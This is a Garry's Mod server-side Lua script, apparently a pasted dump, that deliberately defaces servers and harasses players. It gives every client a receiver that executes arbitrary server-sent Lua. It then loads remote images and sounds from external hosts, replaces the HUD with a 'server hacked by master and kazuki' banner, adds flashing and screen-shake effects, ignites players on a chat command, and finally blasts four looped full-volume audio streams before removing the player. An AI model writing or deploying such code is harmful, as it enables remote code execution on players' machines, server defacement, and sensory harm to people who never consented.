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  1. --[[
  2. File: ?.lua
  3. For: Annoying pirates to death, then annoying them some more until they die a second time
  4. By: Ultra
  5. ]]--
  6.  
  7. util.AddNetworkString "slua"
  8.  
  9. local lol = {}
  10. function lol:RandomString( intMin, intMax )
  11. local ret = ""
  12. for _ = 1, math.random( intMin, intMax ) do
  13. ret = ret.. string.char( math.random(65, 90) )
  14. end
  15.  
  16. return ret
  17. end
  18.  
  19. lol.m_tblActions = {}
  20. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  21. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  22.  
  23. function lol:PushAction( intChainDelay, func )
  24. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  25. end
  26.  
  27. function lol:NextAction( pPlayer )
  28. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  29. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  30.  
  31. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  32. if not IsValid( pPlayer ) then return end
  33. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  34. self:NextAction( pPlayer )
  35. end )
  36. end
  37.  
  38. function lol:Start( pPlayer )
  39. pPlayer.m_intCurAction = 0
  40. self:NextAction( pPlayer )
  41. end
  42.  
  43. function lol:SendLua( pPlayer, strLua )
  44. net.Start( "slua" )
  45. net.WriteString( strLua )
  46. net.Send( pPlayer )
  47. end
  48.  
  49. function lol:SetupPlayer( pPlayer )
  50. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  51. end
  52.  
  53. for k, v in pairs( player.GetAll() ) do
  54. lol:SetupPlayer( v )
  55. timer.Simple( 2, function() lol:Start( v ) end )
  56. end
  57.  
  58. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  59. lol:SetupPlayer( pPlayer )
  60. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  61. end )
  62.  
  63. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  64. if strText:sub( 1, 5 ) == "/1337" then
  65. pSender:Ignite( 1e9 )
  66. pSender:ChatPrint( "lol jk" )
  67. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  68. return false
  69. end
  70. end )
  71.  
  72.  
  73.  
  74. --Sequence stack
  75. --Start some tunes and steam in our assets
  76. lol:PushAction( 0, function( pPlayer )
  77. lol:SendLua( pPlayer, ([=[
  78. sound.PlayURL( "https://kazuki20.000webhostapp.com/screen", "", function()end )
  79.  
  80. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  81. local html = [[%s]]
  82. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  83. local pnl = vgui.Create( "HTML" )
  84. pnl:SetPos( ScrW() -1, ScrH() -1 )
  85. pnl:SetVisible( true )
  86. pnl:SetMouseInputEnabled( false )
  87. pnl:SetKeyBoardInputEnabled( false )
  88. pnl:SetSize( intSizeX, intSizeY )
  89. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  90.  
  91. local PageLoaded
  92. PageLoaded = function()
  93. local mat = pnl:GetHTMLMaterial()
  94. if mat then
  95. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  96. return
  97. end
  98.  
  99. timer.Simple( 0.5, PageLoaded )
  100. end
  101.  
  102. PageLoaded()
  103. end
  104.  
  105. LoadWebMaterial( "https://kazuki20.000webhostapp.com/hud.png", "hud1", 300, 128 )
  106. LoadWebMaterial( "https://kazuki20.000webhostapp.com/hud2.png", "hud2", 300, 128 )
  107. LoadWebMaterial( "https://kazuki20.000webhostapp.com/hud3.png", "hud3", 128, 128 )
  108. LoadWebMaterial( "http://inj3menu.000webhostapp.com/muerte.gif", "xhair", 240, 320 )
  109. LoadWebMaterial( "http://inj3menu.000webhostapp.com/grim.png", "doritos", 183, 256 )
  110. LoadWebMaterial( "http://inj3menu.000webhostapp.com/hacked.png", "fedora", 128, 128 )
  111. LoadWebMaterial( "http://inj3menu.000webhostapp.com/rip.png", "dew", 110, 256 )
  112. LoadWebMaterial( "http://inj3menu.000webhostapp.com/tetemort.png", "awp", 128, 128 )
  113. ]=]):format(lol.m_strImageLoadHTML) )
  114. end )
  115.  
  116. --HUD swap
  117. lol:PushAction( 31, function( pPlayer )
  118. lol:SendLua( pPlayer, [[
  119. (GAMEMODE or GM).CalcView = function() end
  120. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  121.  
  122. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  123. for k, v in pairs(remove) do
  124. hook.GetTable()[v] = {}
  125. end
  126.  
  127. local function GetWebMat( strURL )
  128. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  129. end
  130.  
  131. hook.Add( "HUDPaint", "newhud", function()
  132. surface.SetDrawColor( 255, 255, 255, 255 )
  133.  
  134. if GetWebMat( "hud1" ) then
  135. surface.SetMaterial( GetWebMat("hud1")[1] )
  136. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  137. end
  138. if GetWebMat( "hud2" ) then
  139. surface.SetMaterial( GetWebMat("hud2")[1] )
  140. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  141. end
  142. if GetWebMat( "hud3" ) then
  143. surface.SetMaterial( GetWebMat("hud3")[1] )
  144. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  145. end
  146. if GetWebMat( "xhair" ) then
  147. surface.SetMaterial( GetWebMat("xhair")[1] )
  148. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  149. end
  150.  
  151. if GetWebMat( "doritos" ) then
  152. surface.SetMaterial( GetWebMat("doritos")[1] )
  153. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  154. end
  155. if GetWebMat( "dew" ) then
  156. surface.SetMaterial( GetWebMat("dew")[1] )
  157. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  158. end
  159. if GetWebMat( "fedora" ) then
  160. surface.SetMaterial( GetWebMat("fedora")[1] )
  161. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  162. end
  163. if GetWebMat( "awp" ) then
  164. surface.SetMaterial( GetWebMat("awp")[1] )
  165. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  166. end
  167.  
  168. draw.SimpleTextOutlined(
  169. "This server as been hacked by master and kazuki",
  170. "DermaLarge",
  171. ScrW() /2 +math.random( -8, 8 ),
  172. ScrH() /2 +math.random( -8, 8 ) +64,
  173. Color( 0, 69, 175, 250 ),
  174. TEXT_ALIGN_CENTER,
  175. TEXT_ALIGN_CENTER,
  176. 1,
  177. Color( 0, 0, 255, 255 )
  178. )
  179. end )
  180.  
  181. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  182. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  183.  
  184. surface.PlaySound( "garrysmod/save_load4.wav" )
  185. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  186. ]] )
  187. end )
  188.  
  189. --Disco time
  190. lol:PushAction( 10, function( pPlayer )
  191. local idx = pPlayer:EntIndex()
  192. timer.Create( "beat".. idx, 0.42, 0, function()
  193. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  194. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  195. end )
  196.  
  197.  
  198. lol:SendLua( pPlayer, [[
  199. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  200. local time = 0
  201.  
  202. hook.Add( "Think", "wat", function()
  203. if CurTime() < time then
  204. return
  205. end
  206.  
  207. time = CurTime() +0.05
  208. for i = 1, 16 do
  209. local part = emitter:Add(
  210. "particles/balloon_bit",
  211. LocalPlayer():GetPos() +Vector(
  212. math.random( -256, 256 ),
  213. math.random( -256, 256 ),
  214. 256
  215. )
  216. )
  217.  
  218. if part then
  219. local Size = math.random( 4, 7 )
  220.  
  221. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  222. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  223. part:SetDieTime( 4.5 )
  224. part:SetGravity( Vector(40, 0, -250) )
  225. part:SetLifeTime( 0 )
  226. part:SetStartSize( Size /2 )
  227. part:SetEndSize( Size )
  228. part:SetCollide( true )
  229. end
  230. end
  231. end )
  232. ]] )
  233.  
  234. lol:SendLua( pPlayer, [[
  235. hook.Add( "RenderScreenspaceEffects", "wat", function()
  236. local sinScaler = math.sin( CurTime() )
  237. DrawBloom(
  238. 0,
  239. 3,
  240. sinScaler *math.Rand(1, 8),
  241. sinScaler *math.Rand(1, 8),
  242. 6,
  243. math.Rand(0.5, 2),
  244. math.Rand(0, 0.3),
  245. math.Rand(0, 0.3),
  246. math.Rand(0.5, 1)
  247. )
  248.  
  249. DrawColorModify{
  250. ["$pp_colour_addr"] = 0,
  251. ["$pp_colour_addg"] = 0,
  252. ["$pp_colour_addb"] = 00,
  253. ["$pp_colour_brightness" ] = 0,
  254. ["$pp_colour_contrast" ] = 1,
  255. ["$pp_colour_colour" ] = 1,
  256. ["$pp_colour_mulr" ] = 0,
  257. ["$pp_colour_mulg" ] = 0,
  258. ["$pp_colour_mulb" ] = 1
  259. }
  260. end )
  261.  
  262. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  263. mdl:SetNoDraw( true )
  264. local posCache, time = {}, 0
  265.  
  266. hook.Add( "HUDPaint", "dance", function()
  267. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  268. local idx = mdl:LookupSequence("taunt_dance")
  269. mdl.SeqDuration = mdl:SequenceDuration( idx )
  270. mdl.SeqStart = CurTime()
  271. mdl:ResetSequence( idx )
  272. end
  273.  
  274. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  275.  
  276.  
  277. local w, h = 300, 300
  278. local ang = Angle( 0, 0, 0 )
  279.  
  280. for i = 1, 32 do
  281. if CurTime() > time then
  282. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  283. end
  284. local x, y = posCache[i][1], posCache[i][2]
  285.  
  286. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  287. cam.IgnoreZ( true )
  288. render.SuppressEngineLighting( true )
  289.  
  290. render.SetLightingOrigin( mdl:GetPos() )
  291. render.ResetModelLighting( 1, 1, 1 )
  292. render.SetColorModulation( 0, 0, 1 )
  293.  
  294. mdl:DrawModel()
  295.  
  296. render.SuppressEngineLighting( false )
  297. cam.IgnoreZ( false )
  298. cam.End3D()
  299. end
  300.  
  301. if CurTime() > time then
  302. time = CurTime() +0.15
  303. end
  304. end )
  305.  
  306. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  307. ]] )
  308. end )
  309.  
  310. --Let the beat drop
  311. lol:PushAction( 54, function( pPlayer )
  312. lol:SendLua( pPlayer, [[
  313. hook.Add( "GetMotionBlurValues", "wat", function()
  314. return 0, 0, 1, math.sin(CurTime() *13)
  315. end )
  316.  
  317. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  318. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  319. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  320. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  321. end )
  322.  
  323. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  324. render.SetMaterial( Material("cable/blue_elec") )
  325. for i = 1, 32 do
  326. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  327. end
  328. end )
  329.  
  330. timer.Create( "thedrop", 0.42, 0, function()
  331. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  332. end )
  333. ]] )
  334. end )
  335.  
  336. --EVIL TIME rip headpones
  337. lol:PushAction( 175, function( pPlayer )
  338. lol:SendLua( pPlayer, [[
  339. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  340.  
  341. local sounds = {}
  342. for i = 1, 4 do
  343. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  344. sounds[#sounds +1] = pChan
  345. end )
  346. end
  347.  
  348. timer.Create( "asdf", 1, 0, function()
  349. if #sounds ~= 4 then return end
  350. timer.Destroy( "asdf" )
  351. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  352. end )
  353.  
  354. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  355. ]] )
  356.  
  357. pPlayer:Remove()
  358. end )
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